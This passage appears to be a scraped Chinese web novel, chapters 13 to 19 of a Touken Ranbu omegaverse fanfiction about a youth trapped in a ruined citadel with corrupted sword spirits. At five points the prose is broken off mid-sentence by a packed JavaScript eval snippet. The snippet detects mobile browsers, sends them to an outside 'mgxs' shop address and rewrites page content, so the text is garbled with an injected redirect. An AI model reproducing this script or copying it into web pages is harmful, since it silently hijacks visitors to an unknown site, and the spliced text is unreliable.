鹤见悠纪呼吸急促,他想挣扎,但是在对方的力量下,急得满脸通红也只能勉强撑开肩膀,留出自己呼吸的空间。 信浓藤四郎拍了拍他的脑袋:“不要这么抗拒嘛,你很喜欢他们,为什么只不喜欢我呢?” 因为你看起来很神经啊! 鹤见悠纪被迫带上痛苦面具。 虽然他从头到尾见过的每一把刀都和印象中的性格不一样,但是眼前的信浓藤四郎是他见过不一样的方向最奇怪的一把! 明明笑眯眯的,两只眼睛也亮亮的,看起来很好相处的样子,但是不知道为什么总带着一股阴沉的、摸不到真实面目的黏糊感。 omega抿着唇不说话,只死命地挣扎着。 忽然,他感到一阵危机,落在头顶的手顺着后脑勺向下滑去,目标明确地指向柔软滚烫的腺体。 不行,直觉告诉他不行。 在信浓藤四郎的指尖即将触碰到那片皮肤的刹那—— “信浓。” 冰冷的声音,猛然从门口传了过来。 房间窗口纠缠的两人同时向那边看去。 昏暗的光线下,药研藤四郎不知何时出现在了那里。 他的眼中闪烁着令人心悸的寒光,周身信息素压抑着,在对上兄弟的视线瞬间化为实体般的压力瞬间冲了过来。 alpha之间竞争的本能在瞬间被激起。 信浓藤四郎歪着头,却同样回应了挑衅,两股信息素在房间内,你不让我,我不让你。 鹤见悠纪皱眉趁着两人争斗的瞬间挣脱付丧神的手成功从窗台翻了出去,他脚步顿了顿,一咬牙转了个弯绕到门口,躲到药研藤四郎身后。 比起在无人的地方再被抓住,还不如找自己熟悉的人当做依靠呢。 “哈……” 低低的笑声响起,信浓藤四郎不满,“你果然更喜欢药研吗?” 同时,空气里熟悉的甜蜜气息竟瞬间变成了如药研藤四郎一般葡萄的酸甜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100568|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味。 “那我变成你喜欢的样子,好不好?” 鹤见悠纪怔住,他自然感受到了那股变化的信息素,他有些惊悚地看着眼前的刀剑。 这家伙究竟是怎么回事? 活泼喜欢撒娇又骄傲,确实是属于信浓藤四郎这把刀的性格,但是其他的呢,那些黏糊的简直想要将他吞噬一样的情绪究竟是怎么回事? 很快,药研藤四郎将模仿自己的气息狠狠压制,撕碎。 信浓藤四郎脸上的笑容僵住了,然而下一秒又变得更加灿烂。 他看着药研藤四郎:“哎呀,怎么这么过分呢?我刚刚才在和大将聊天呢,药研怎么可以突然出来打断人呢?” “出去。” 药研藤四郎的声音没有一丝温暖,目光谣言档次上的声音没有一丝温度,不光锐利的定在信浓藤四郎的身上。 他强调, “现在。” 信浓藤四郎眨了眨眼睛,语气中是浓浓的不解,他惯性地开口撒娇,“为什么呢?大将一个人多么孤单呀,我只是想和他在一起,让他不再感到孤单而已。” 药研藤四郎知道他的状态,丝毫不理,侧身安抚身边抓着他衣角的鹤见悠纪。 omega朝他安抚地笑了笑。 药研藤四郎眉间松开,没出什么事就好,他刚刚发现不对劲的时候真是吓了一跳。 信浓藤四郎看了看面无表情的药研藤四郎,又看了看笑着还小心翼翼警惕观察自己的omega,眼中有什么在逐渐消弭。 最终,他摇了摇头, “好吧,真凶啊。那我下一次再来吧。” 转而朝门口走去。 在经过将鹤见悠纪和自己隔开的药研藤四郎身边时,信浓藤四郎微微侧头,用极轻的音量低声道, “要再小心一点才行啊,不然,‘我’一定会抢走他的。” 他无法制止。 药研藤四郎抬头看向信浓藤四郎的眼睛,那双疯狂黏糊的眼眸中,重新变得干净。 恢复了。 紧绷的肌肉放松了一些。 “我知道。” 14.第 14 章 鹤见悠纪站在药研藤四郎身后什么也没听到。 瞧着两人的小动作,他疑惑地眨了眨眼睛,想凑近脑袋偷听两分,但信浓藤四郎已经轻笑着闪身出了房门。 他的身影很快消失在走廊的阴影中,只留下若有若无的麻麻的气息。 房门口便只剩下了鹤见悠纪和药研藤四郎。 鹤见悠纪眨眼发觉太近,后退两步拉开距离。 药研藤四郎为了压制信浓藤四郎散发出来的信息素仍然厚厚的笼罩在周围,也笼罩着鹤见悠纪。 omega敏感至极,他皱着眉,两种与自己毫无关系的alpha的气息冲在一起十分不适。 药研藤四郎并未看懂,他的目光转向少年,眸中的情绪稍显平静,还掺杂着几丝无奈。 “怎么和他凑一块去了?” 鹤见悠纪被看得一阵头皮发麻,下意识低头,想要逃避他的视线。 “不是我让他进来的,他自己……” 又想起之前付丧神的提醒,他手忙脚乱试图解释,但信息素的刺激让他大脑混乱,情绪的敏感迅速生出反应。 骨骼战栗,白皙的皮肉上一片红。 药研藤四郎没有说话,他只是低头看向少年,瞧了瞧对方微微颤抖的肩膀,还有后颈的皮肤处一些不正常的波红,脸上残留的惊恐与无措。 良久,他迟钝的大脑转动,身边冰冷的气息才完全收敛起来。 药研藤四郎抬手摸了摸不安的omega的脑袋以做安抚,声音比刚才温柔许多, “是我没考虑到,以后要是再遇到了,” “他的这个地方有些不太正常,能远离就远离吧,下次先离开他的视线。” 看着药研藤四郎指了指自己的脑袋,神色也变得莫名其妙起来,鹤见悠纪有一瞬茫然。 什么意思?难道是说刚刚的信浓藤四郎脑子不太好使……还是说他脑子有点问题呢? 脑子一卡一卡的。 这两句猜测好像没什么区别。 “我可以换个门吗?这个门一点阻挡力都没有。” 鹤见悠纪听不懂,他只想安安全全的。 指了指完全没法关上的门,他每天只能用房间里唯一的椅子将房门给顶紧,但制造出来的安全感只能维持表面。 究竟要不要进房间完全在这些家伙的一念之间。 害怕对方不信,鹤见悠纪还关门又打开给他展示了一下。 药研藤四郎好笑地带着人停下动作, “我会想办法的,抱歉,我没有看到这里。” 他对本丸中无处不在无法关闭的门已经习以为常了,甚至都未曾第一时间想到少年需要一个能够紧紧关闭的房门。 药研藤四郎突然皱起眉头,有些怀疑自己的脑子是不是也不太好使? 但是兄弟的脑子不太好,始终是发疯,是因为暗堕的影响,但是自己呢,自己好像、应该、大概不至于吧…… 说完他不再看鹤见悠纪,转身走出走了两步,他脚步又顿住,背对着鹤见悠纪,声音低得几乎听不见, “悠纪,可能还会有人出现我之前那样的状态,然后来寻找你。” “可不可以……” “什么?” 鹤见悠纪没有听清他后面的话语,疑惑问出声,然而药研藤四郎只是神色复杂地回头看了一眼,抿了抿唇,便什么也没有说径直离开了。 怎么只给半句话让他自己猜,他也不知道什么意思呀。 鹤见悠纪迷茫。 可不可以什么……倒是说出来。 鹤见悠纪抓狂。 再次熟练地把门关上,他整个人瘫在床上,后颈的悸动还未完全平息,信浓藤四郎和药研藤四郎交错在一起的信息素还在空气中流淌,他有些不太舒服,皱眉起身将窗户打开透气。 窗外的月亮已经,因为突如其来的小插曲,他比平时睡得晚了许多。 坐在床边无聊地晃了晃小腿,脑海中将信浓藤四郎诡异的样子过了几遍,他咬着牙,有些想不明白。 暗堕…… 脑海中突然划过这个词。 原来世界里只存在于衍生中的设定,在这个世界中,是否真实存在? 这座本丸从不平静。 不论是破碎的外表,还是每一个都和记忆中性格不对的付丧神们,在平日里安静的表面下汹涌无比的暗流,一直在向前奔涌,但是鹤见悠纪不论怎么也未曾摸到真相。 除了药研藤四郎口中模糊的诅咒以外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108857|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他什么都不知道。 但是没事,他本就不想知道这些,他所在意的,只有自己怎么才能离开这座本丸。 他想回家,回到自己平静的日常,而不是在这个看似平静,却总是会措不及防给他当头一棒的世界。 药研藤四郎匆忙赶过来的紧张以及明确指向的愤怒,还有信浓藤四郎对自己莫名其妙的靠近…… 为什么总是重复自己在不在意他? 他这个被帮扶对象的在不在意有那么重要吗? 鹤见悠纪在这里存在的一切、衣食住行都是依靠着这座本丸中的刀剑们。 然而,所有的一切都在不知名的时候指向了飘荡在空气中的味道。 鹤见悠纪咬着牙摸上自己的后颈,那里的滚烫从未如此清晰,用力之下,他仿佛从平坦光滑的后颈下深处,摸到了硬硬的仿若腺体的存在。 刚刚的平静消失,他抱住头,只觉一阵深深的无力。 夜色催促着恐慌加深,在独自一人的房间中,他不被月光照亮,他只能蜷缩在阴影处独自思考。 这里只有他一个人。 而在门外早已离去的药研藤四郎却站在阴影处,他捏了捏眉心,紫眸深处翻滚着汹涌的情绪。 信浓藤四郎的靠近无疑是一次明显的警报。 鹤见悠纪的信息素已经开始吸引并刺激其他兄弟们了。 厚藤四郎暗堕后极少的情绪波动还能帮他抑制出现可怕的动作,后藤藤四郎虽然无法在白日出现,但是在夜晚清醒时和从前没有什么差距,只有信浓藤四郎那无法控制的理智是目前最大的威胁。 但这是正常状态下,alpha可怕的易感期出现时,这些可控的因素和不可控的因素最后都会愈演愈烈,化作风暴。 还有一件更可怕的事情。 omega,也是有雨露期的。 对这些完全不必要的少年,又是否能够在这段特殊的时间内保护住自己? 药研藤四郎看着鹤见悠纪紧闭的门眼神复杂,之前□□交换时的温存和失控,以及如今兄弟们带来的威胁交织在一起,形成一股更加沉重的压力压在他的肩头。 他不知道自己究竟是在愤怒还是在恐惧。 ……或许两者都有吧。 15.第 15 章 药研藤四郎说到做到,第二天鹤见悠纪出去溜达一圈,回来之后就发现自己形同虚设的木门变成了铁门。 鹤见悠纪:“?” 这闹鬼一样的本丸到底是哪里来的铁啊?! 但是能从内部锁上的门以及厚重的金属材质将一切都隔离开,确实给他带来了很大的安全感。 就算和周围的建筑都格格不入也无法让鹤见悠纪拒绝。 美丽哪有安全重要! 鹤见悠纪乐呵呵地安心了几天,信浓藤四郎也恢复了每天按点送餐像个机器人一样的日子。 一切似乎变回了平常,但是空气中的凝滞感更加厚重了。 原本就寂静无人的走廊变得更加可怕,鹤见悠纪每次出门都怀疑是不是在自己看不见的角落有人偷偷放了一堆冰块用来制冷。 沉郁冰冷的气息如同无形的网在他的身上,还有那些无处不在的气息存在感也越来越强。 药研藤四郎身上甜丝丝的味道、厚重四郎身边冰凉的水汽还有信浓藤四郎路过门口时总是在变化的味道都让他更加敏感,他尝试远离,可气味这种东西本就会随着空气扩散沾染在他的身上。 鹤见悠纪苦恼地到处溜达。 “变得更加难闻了。” 厚藤四郎难得浑身都是干干净净的,他眨了眨眼,语出惊人, “需要我帮您洗衣服吗?” 总是沾染着别人的讨厌的味道…… 既然大将察觉不到也无所谓的话,让他来动手剔除这些味道也不无不可。 鹤见悠纪震惊地摇了摇头。 “让我适应适应吧,反正每次都要闻到这些味道,” 他看了看付丧神的手有些意外, “你今天不用打扫战场吗?身上的味道好像变得更明显了,很好闻。” 话落下的瞬间,鹤见悠纪仿佛在冰冰冷冷、毫无情感厚藤四郎身上看到了一丝高兴。 少年恍惚地眨了眨眼睛,对方还是那个样子,应该是自己的错觉。 “昨天敌人来的较少,所以需要处理的也就少些,我已经全部都搞定了。” 厚藤四郎突然拔出本体,递到被吓了一跳的鹤见悠纪的面前, 他的声音低低的,“……好疼,我受伤了。” 鹤见悠纪:“?” 他眨了眨眼睛,警惕的动作收了回来,看迷茫的看着滴到自己眼前的短刀,“受伤了,修复吗?打铁?” 想了想火花四溅、抡着锤子一下又一下大锤八十小锤三十的火热场景,鹤见悠纪无比迷茫。 若要打铁重新锻造的话,交给他干什么?他又不会这些。 “手入。” 受伤了就应该寻找手入室,那里会让他摆脱痛苦的状态,这是付丧神都知道的事。 这座本丸没有手入室,那就只能找拥有灵力的审神者了。 看鹤见悠纪迟迟没有动静,厚藤四郎失落低头,“很讨厌我吗?可是我好疼。” “可是我不是医生啊。” 鹤见悠纪不懂,受伤为什么要找自己? 厚藤四郎抬头看着他,一动不动,浅色的眸子和鹤见悠纪对视,良久,付丧神看着迷茫的少年,又淡淡的撇开脑袋。 大将不想给他疗伤=大将不喜欢他。 不喜欢他…… “没关系,我会尽快治疗好自己的,” 厚藤四郎给自己找好台阶,他猛抬头上前突然拍了拍鹤见悠纪的背,“大将,要把背打直哦。有什么麻烦的话交给我就好了,一定会为您解决的。” 就算是不被喜欢,但是自己也是可靠的厚藤四郎,不会让主人感到为难。 他的刀刃又厚又直,极其富有力量,历代的主人中也有许多名人,这样的他怎么能脆弱到会被一点小小的磨难就打倒呢。 “等等等等,”鹤见悠纪被他拍得整个人一激灵,冰冷的水汽味靠的更近更是让他在天灵盖都直接清醒了,“我没有什么需要帮——” 他正要如同以往一样推脱掉别人的客气话,却忽然想到自己现在的处境猛地将后面的话吞进腹中,转而期待地看向厚藤四郎,“我想离开这里,你知道怎么离开这座本丸吗?” “嗯?”厚藤四郎眨了眨眼,“大将想去万屋吗?” 虽然不是鹤见悠纪的目标地点,但是先到别的可能有人的地方也可以。 于是他期待地点头:“嗯嗯。” “但是本丸的路已经被封上了,不能再去万物了,我们只能自给自足。” 厚藤四郎别无表情,声音也是一如既往的平淡,浅色的眼睛十分真诚地看着鹤见悠纪,瞧不出半分假象。 鹤见悠纪僵住了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108858|195150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么叫路已经被封上了,什么叫只能自给自足。 是说他无法离开这座破碎的本丸了吗?所以他无法回家了吗?不对,怎么可能是这样。 冷静一点,他肯定能出去,肯定有路,肯定有办法的,肯定有办法…… “大将是有什么想要的吗?我可以帮你找找。”厚藤四郎看鹤见悠纪沉默许久,认定他想要去万屋肯定是有什么东西想要买。 既如此,只要自己将对方想要的东西找到,就能满足对方的愿望,想必大将就会喜欢他了。 然后伤口就不会再疼了。 鹤见悠纪完全听不清他的声音,现在满脑子都是路被封上了。 他的牙齿在打颤,声音都变得不稳起来。 少年的眼睛怔怔的,一瞬间变红,“真的不能去吗?” “真的哦,药研这样告诉我们的,”厚藤四郎眨了眨眼,有些不懂为何少年突然露出这副表情,“所以我们从来到这里之后,也再没有离开过了。” 一直呆在本丸里,白天打扫战场或者独自一个人呆着,晚上就去打时间溯行军,他们的日子就这样一天一天的度过,直到眼前的少年闯入,这里才可怜地拥有了一个人类的气息。 大将可以进来。 但是,这也并不代表他们能够离开。 因为药研是这样说的。 “万一是藏在哪里了……” 鹤见悠纪不想就这样否定自己回家的可能,喃喃着挣扎。 他的身体颤抖,手又激动抬起紧紧的抓住厚藤四郎的手臂。 alpha身上冰凉的水汽彻底的笼罩过来,虽着肢体的接触,omega一点一点染上了他的气息。 厚藤四郎顿住,他看着那双红红的紫色,惊觉得自己的心在抽动。 什么会出现这样的状况? 不知道。 但他的身体坏掉了,需要大将治疗才行。 付丧神另一只手缓缓抬起,覆盖在抓着自己手臂的那只手上。 鹤见悠纪只顾着想办法找线索,否定不想生刚刚的话,未能察觉,两人近得过于亲密的距离。 信息素交融在一起,alpha的眸光渐深,“大将……” “你们在做什么?” 冷冷的声音在身后响起,像是结了冰碴子一样。 16.第 16 章 声音冰冷又熟悉,还带着几分异样的不满。 鹤见悠纪随着声音心头一紧急忙向后看去,便瞧见药研藤四郎皱起的眉头。 付丧神在不高兴,是谁惹他了吗? 他忽略掉几分疑似干坏事被抓到的异常情绪,疑惑道,“药研?你怎么会在这里?” “我不能过来吗?” 药研藤四郎脱口而出。 其中浓烈的不爽感简直要溢出来了。 简直就像在捉奸自己的爱人一样。 察觉到异常,付丧神有些不敢看少年的眼睛,生怕自己这句话中不合时宜的情绪过于明显让对方生气。 “不是的,你当然可以过来,我只是有些意外。”鹤见悠纪急忙解释。 因为刚刚的对话还有些难受,对着药研藤四郎奇怪的语气也没多想。 边说着手已经自然地松开厚藤四郎,因为注意力全然落在药研藤四郎的身上,没注意到身后付丧神条件反射想抓握回来的动作。 厚藤四郎抿唇,他认为自己是不高兴的。 两把刀的视线在此刻对上,药研藤四郎看着平日里已然习惯的毫无感情的浅色瞳孔,现在竟让他生出几分恼火的气息。 鹤见悠纪没有察觉到两人之间诡异的气氛, “是找我们有什么事情吗?” “……没有,只是路过而已。” 药研藤四郎收回注意力,他注意到少年的注意力从自己出现开始就转移了过来,嘴角不由得上升两个像素点。 他的心中在迫不及待的想借此表露些什么,可对上鹤见悠纪真诚疑惑的眼神时,就什么话都说不出口了。 少年坦坦荡荡,看起来没有一丝紧张或者逃避的情绪。 这样更显得他用心险恶又心思肮脏。 鹤见悠纪眨了眨眼睛,但刚刚质问两人的声音还清晰的存在他的记忆中,他绝对没有听错。 但既然药研藤四郎说只是路过那就只是路过了。 他瞬间抛之脑后,几步靠近药研藤四郎,牵起对方的手,而后双手握住,捧在胸前。 他双眼期盼,不忘初心问出了自己最在意的问题,“药研,这座本丸,真的没有办法离开这座本丸了吗?” “是谁和你讲了这个话题吗?”药研藤四郎不解的看了一眼厚藤四郎,解释的话咽了回去,他点了点头,“是的,离开的路已经被封死了,无论什么办法都不能离开。” 厚藤四郎还在在旁边,他能清晰地听到两人的对话。 药研藤四郎继续道:“你能进入这座本丸,应该是一个意外,按理来说,不论是进入还是离开,都是无法办到的事情才对的。” 他将重音落到无法办到几个字上,就像在着重强调些什么样,然而被这话打击的大脑昏沉的鹤见悠纪并未听出其中的暗示。 他瞬间双眼失神,这几日维持活力的动机来瞬间被否定。 药研藤四郎在这些日子一直帮助他在这座本环中好好的过下去,从对方口中说出的话,在他这里不会被判定为谎言。 所以,真的不能回家了。 捧住药研藤四郎手的双手力道逐渐消失,而后无力地垂落身侧。 药研藤四郎没反应过来,肢体本能想要伸出挽留,他慢一拍抬头,对上少年平静的双眸总觉得有哪里不太对劲,却一时不知不对劲在哪里。 突然聊起离开的话题……这件事情对于迟早会离开的少年来说是什么很急切的事情吗? 信息不对等让药研藤四郎无法理解鹤见悠纪在焦虑什么。 他瞧着少年身上活跃的灵力,对方审神者预备役的身份在他这里是板上钉钉的事实。 对他们这些付丧神也拥有基础的认知,所有表现都像极了一个青涩的、还未正式入职的审神者的模样。 药研藤四郎便也没多解释几分。 自己留在这里,不仅仅是为了防止自己去伤害别的主人,也是因为他不能够让自己不稳定的兄弟们踏入别的地方。 他们是同一个刀派的兄弟,不能放弃彼此。 影响最小的药研藤四郎在和兄弟们留守这座破碎的本丸的时候,便已明晰了等待所有备用灵力用尽时回归本体、最后化作废铁的命运。 但鹤见悠纪的出现是一个意外,没有人知道为什么一个懵懂的审神者会降临在这座本丸。 就像是给他们快要终结的命运的最后一道光一样,让他们看一看,然后这道光便去照亮,真正应该照亮的存在了。 就像最初对双方知之甚少的时候,药研藤四郎就已出现猜测这家伙已迫不及待的想要离开他们,但是后来安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你不是时之政府招聘的审神者吗?” 他终于意识到了,这个问题需要确认。 17.第 17 章 鹤见悠纪是审神者预备役的这件事情是药研藤四郎从各种外在因素中推测出来的。 但是他从未从少年的口中完全确认这件事情的真实性。 而在现在他开口问出了这个问题,得到的只有对方的一脸迷茫,他的心猛地一沉,最坏的事情发生了。 “我不是。” 果然。 鹤见悠纪从他的脸色中看出了什么,忐忑地问道,“是不是如果我是的话就可以离开这里?” “……时之政府不会放弃审神者,只要发现异常,就会想办法找到你。” 药研藤四郎说得浅显,但是其中的意思不难听出来。 这也是他之前断定自己只需要让少年不在本丸中的这段时间出事就行的原因。 “那要怎样才能成为审神者?一直在这里的话,是不是做不到?” 鹤见悠纪眼中露出几分焦急,他从来没有这么渴望实现某一个目标。 当游戏中的可能性成为现实的时候,他竟也成了追求虚幻中的一员,只是现在这份虚幻成了他的救命稻草。 药研藤四郎握住他的手,少年身体的颤抖清晰,脸上露出几分为难。 即使前主在最后几乎算得上是作恶多端,但是仍旧作为正常的付丧神在其手下工作了许多年的他,对一些基本的事情仍旧是足够了解的。 甜丝丝的信息素拂过鼻尖,喉结滚动,然而,其中表露的情绪也依然清晰。 少年因为紧张而不由自主靠近,眼睛中露出焦急,可怜兮兮的脸上全然是祈求和对他的信任。 就好像自己是唯一能够救他于水火的神明一样。 属于omega的甜蜜的气息在身边环绕,无时无刻不在撩动曾深深沉迷于这种气息中的alpha的心弦。 “……” 药研藤四郎哪里遇到过这种事情? 他撇开视线,没有拒绝少年反手握住他手心的举动。 “如果你想离开的话,或许可以通过掌控一座本丸以及和付丧神签订契约将自己的信息投放到时之政府的备案上,最迟等到负责检查的人例行归纳找到信息不完备的你的异样,然后就……” 药研藤四郎有他的办法,甚至在办法生出的一瞬间,就事无巨细的告诉了鹤见悠纪。 少年期待的神情落入眼中,看着少年红肿失落的双眼,他无法逃避,也无法隐瞒。 即使这样选择的后果是加速对方的离开。 他当然可以隐瞒自己知道的情报,让少年拥有永远的留在这座本丸中,成为他自己一人的omega。 毕竟对方不是审神者,如果没有自己的情报支持的话,便永远都无法离开,也不知道真相。 可不论是因为肮脏诅咒而形成的畸形体质,还是剥夺一个少年本应拥有的自由,这都不是药研藤四郎能做出的事情。 他是一把刀剑,自当应以大将为先,虽然眼前的人不是他的主人…… “原来还有办法……” 鹤见悠纪猛的松了一口气。 酸涩的眼眶慢慢缓和下来,他抬手揉了揉眼睛,抓着药研藤四郎的手收紧。 等情绪彻底稳定下来,他看着眼前静静陪在自己身边的付丧神,勾起嘴角露出一个勉强的笑容,虽声音颤抖,却无比温柔充满感激, “谢谢你药研,如果不是你,我真的没有办法了。” “你开心就好。” 药研藤四郎神色复杂。 鹤见悠纪很急切, “但是契约的本丸,还有建立契约的付丧神,我要从哪里去寻找呢?” 他被困在了这里,就不能去别的地方,但是不去别的地方,他就不能找本王和府上神监理契约,不能建立契约,就不能够离开这里…… 直接形成了一个死循环,鹤见悠纪面露难色。 “……如果需要的话,就拿这座本丸试试吧,但它已经十分破碎,我无法确定是否还能建立起契约。” 这句话完全说出口的时候,药研藤四郎都有些迷茫。 自己竟然主动将自己的坟墓卖了出去。 “那付丧神呢?” 最大的问题解决掉了,鹤见悠纪重新抱着椅子靠背坐下,眼眸深处闪过一丝微不可察的暗芒。他的下巴搁在木头上抬头看向药研藤四郎,半晌开玩笑道,“我总不能和你建立契约吧,那也太……” “当然可以。” 更加疯狂的话说出口了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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药研藤四郎心脏猛的一跳,他是瞬间扒开门板,便看见捂着手指,可怜兮兮朝他看来了鹤见悠纪。 一刹那,仿佛呼吸都停止了。 少年眼角因为疼痛而分泌出几分眼泪,湿润的眼眶难受地看过来,无形带出几分控诉。 “对不起,你的手还好吗?” “一点也不好。” 鹤见悠纪疼得不想抬头看他,小口小口地向手指吹着气。 十指连心。 刚刚只顾着赶紧阻止药研藤四郎把门关上,心一横就把手伸出去当那个阻挡物了。 当力道重重地摔上木门挤压手指的时候,那种一瞬间钻心的疼痛,让他根本就憋不住自己的眼泪。 不是娇气,而是真的很疼。 药研藤四郎紧张地上前两步,就是捧起少年的手指,不知怎的也学着对方吹了吹。 温热的气息覆盖在已经彻底变红的手指边,将疼痛感稍微压下去了些许,但仍旧无法完全根除。 反应过来自己做了怎样幼稚的举动,眼神不自觉乱晃,他带着难受的少年在床边坐下,又连忙背过身拿了自己的药箱来。 他的药箱中的药品虽然不如本丸正常运行时那么丰富,但是紧急处理一些伤势也仍旧是足够的。 冰凉的药水喷洒在手上,鹤见悠纪抑制着痛呼,他轻轻嘶了两下,又故作没事地闭了嘴,但手指颤抖的状态完全暴露了他的痛苦。 怎么会这么疼啊。 他在脑海中小声抱怨。 “下次别这样了,直接叫住我就好了……” 药研藤四郎低着头,一边将纱布缠绕在手指上,一边语气闷闷的说道。 “我叫你你会停下吗?我刚刚一路在叫你,你根本就没有任何反应。” 鹤见悠纪才不信他。 就连情绪也总是很稳定的药研藤四郎在刚刚突然变得那样疯狂,实在是让他始料未及。 也不知是哪里触动到了对方敏感的神经,忽然就像爆发了小宇宙一样猛的冲出来,那种速度他用尽全力才追上来,现在肺部都还在因为过度呼吸而疼痛着。 “对不起,是我的错。” 药研藤四郎依旧低着头,他顺从地承认自己的错误,包扎的双手都在颤抖。 过去平静的情绪被彻底打破。 当他的情绪会被眼前的少年牵着走的时候,不论是因为诅咒而生的体质还是他真的在意起了对方,就已经注定他的世界到来了一个名为鹤见悠纪的存在。 “对不起,是我没有注意到……” 一遍遍地道歉。 “对不起,都是因为我你才会……” “别说了。” 药研藤四郎怔住。 “别说了,药研,”鹤见悠纪叹气,“不要低着头和我讲话,搞得像我是什么十恶不赦、让你害怕到不敢对视的坏人一样。” “明明现在受伤的是我诶,你抬起头来看看我嘛药研。” 他轻轻撒着娇,心脏在猛烈跳动,他清晰地知道自己在做什么。 “我想看着你的脸,我想看着你的眼睛。如果想道歉的话,也拜托你看着我的眼睛来道歉吧。” 药研藤四郎抿唇,他的身体在颤抖,却听话的抬起脑袋。 紫色眼眸经过调整,已经变回平常的冷静模式,但是握着鹤见悠纪的双手滚烫得可怕。 他看着少年的眼睛。 是紫色的,是温柔的,是包容的。 为什么会对他一个暗堕付丧神这样好?就算是相处也并未多久,甚至达不到人类口中的朋友的程度。 他张开嘴, “对不起。” 声音顺滑地吐露。 ——要努力保持平静,让自己的道歉显得诚恳。 然而,颤抖的尾音却依旧暴露了药研藤四郎心中的不安稳。 鹤见悠纪高兴地弯起眼睛,用另一只完好的手拍了拍他的脑袋,就像抚摸小狗一样温柔夸奖, “嗯嗯,我收到道歉了,我接受药研的道歉,没关系的。” “药研是很好的刀剑,不要害怕,虽然不知道为什么你会突然变成这样,但肯定有你自己的理由。” 鹤见悠纪抓着人同样坐在床上,膝盖碰着膝盖,手臂也挽着,肩膀也贴着,姿态亲密地过分。 心脏跳的更快了。 “我不会说我想知道的,所以,不要担心好吗?” 少年的声音里带着微不可察的颤抖。 “像这样的话,担心的人会变成我的。” 说着说着,鹤见悠纪的话语中流出几分无奈,眼神也像在看不听话的孩子。 他是第一次见到药研藤四郎这样复杂的存在,日常生活中不论是周围的同学还是亲人,大家都会很简单地表露自己的情绪,就算是纠结也只是小别扭而已,而药研藤四郎刚刚的状态…… 鹤见悠纪眨了眨眼。 他从未见过如此疯狂又突兀的转变。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皮肉贴着皮肉,他们紧密无间,仿佛隔着厚厚的血肉他也感受到了那颗疯狂跳动的心脏。 药研藤四郎低头,低沉的声音在鹤见悠纪耳边响起,他说, “谢谢你愿意接受我的道歉。” 19.第 19 章 鹤见悠纪觉得有哪里不太对劲,但是又说不出来。 付丧神的眼中是和往常不一样的温柔笑意,贴在自己背上的手更用了力,仿佛要将他融入骨血一样。 药研藤四郎暗自下定了什么决心,但是鹤见悠纪太单纯了,他看不透拥有上百年心眼子的付丧神的心。 他只因为自己的做法有效而高兴。 药研藤四郎是付丧神,如果他愿意的话,那成为审神者的这个办法就完成了一半,他回家的路也就走了一半。 鹤见悠纪想回家。 少年垂下眼眸,努力收敛自己高兴的情绪,却稚嫩又显眼。 药研藤四郎摸了摸鹤见悠纪的脑袋,他恢复了平静冷淡的样子,紫色眼眸专心的注视着对方。 轻轻叹了口气, “……但是在签订契约之前,要先试试能否和这座本丸建立契约。如果本丸无法再被掌控的话,只是和付丧神签订契约是无用的。” 如果无法成功,就必须另寻其他的本丸了。 但他们在这座本丸想要安全的离开并没有那么简单,时之政府让暗堕付丧神独自呆在这里,自然会有隔离的手段。 或许联系时之政府告诉他们,这里有一个误入的人类是最快速的手段。 但最后的私心滚烫发热。 想要他再多待几天。 就算最后会被讨厌。 就当他给即将死亡的自己最后的礼物吧。 